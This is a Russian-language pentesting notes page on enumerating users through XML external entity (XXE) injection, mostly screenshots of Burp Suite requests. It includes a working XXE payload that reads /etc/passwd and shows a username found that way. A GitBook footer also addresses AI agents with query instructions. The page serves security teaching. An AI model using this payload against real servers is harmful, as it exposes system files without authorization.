> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-xml-external-entity-injection-xxe/xxe-user-enumeration-pentesting-web.md).

# Перечисление пользователей через XXE

## XXE (внедрение внешней сущности XML):

<figure><img src="/files/0ec747bffe208f4db18ea25964f7d4becae17738" alt=""><figcaption></figcaption></figure>

#### Анализ исходного кода (структуры XML), перехваченный с помощью Burp Suite

<figure><img src="/files/6ab177d64e369f3b5a32512bbd0f9e48e0ccb550" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/76f8fe534b0610fe4c44341583d67493973a641c" alt=""><figcaption></figcaption></figure>

#### Попытка атаки XXE (внедрение внешней сущности XML)

* Изменение метода запроса с GET на POST.

<figure><img src="/files/993b646fd7c19422b61448743be4689ae906e2c1" alt=""><figcaption></figcaption></figure>

* Попытка внедрения XXE с моделью принтера в POST-запросе.

<pre class="language-xml"><code class="lang-xml">&#x3C;creds>
<strong>	&#x3C;customer>
</strong>		Jordan
	&#x3C;/customer>
	&#x3C;password>
		jordan123
	&#x3C;/password>
&#x3C;/creds>
</code></pre>

* Наблюдение за тем, как сервер интерпретирует XXE-модель принтера.

<figure><img src="/files/b08958408f37811318f7eb3dd0ad795bc152b825" alt=""><figcaption></figcaption></figure>

* Чтобы получить доступ к файловой системе, мы должны создать новый **сущность**, например, "myFile", следующим образом: `<!DOCTYPE foo [<!ENTITY myFile SYSTEM "file:///etc/passwd">]>` Затем, в переменной, мы должны поместить результат с помощью "**/\&myFile**" вот так:

<figure><img src="/files/9832fe8684cad4116e08b5a6fea575160ef95cc9" alt=""><figcaption></figcaption></figure>

#### Идентификация пользователя "ftpUserULTRA

<figure><img src="/files/c114ef68d8747a31f63bfd87e649e096847e8703" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-xml-external-entity-injection-xxe/xxe-user-enumeration-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
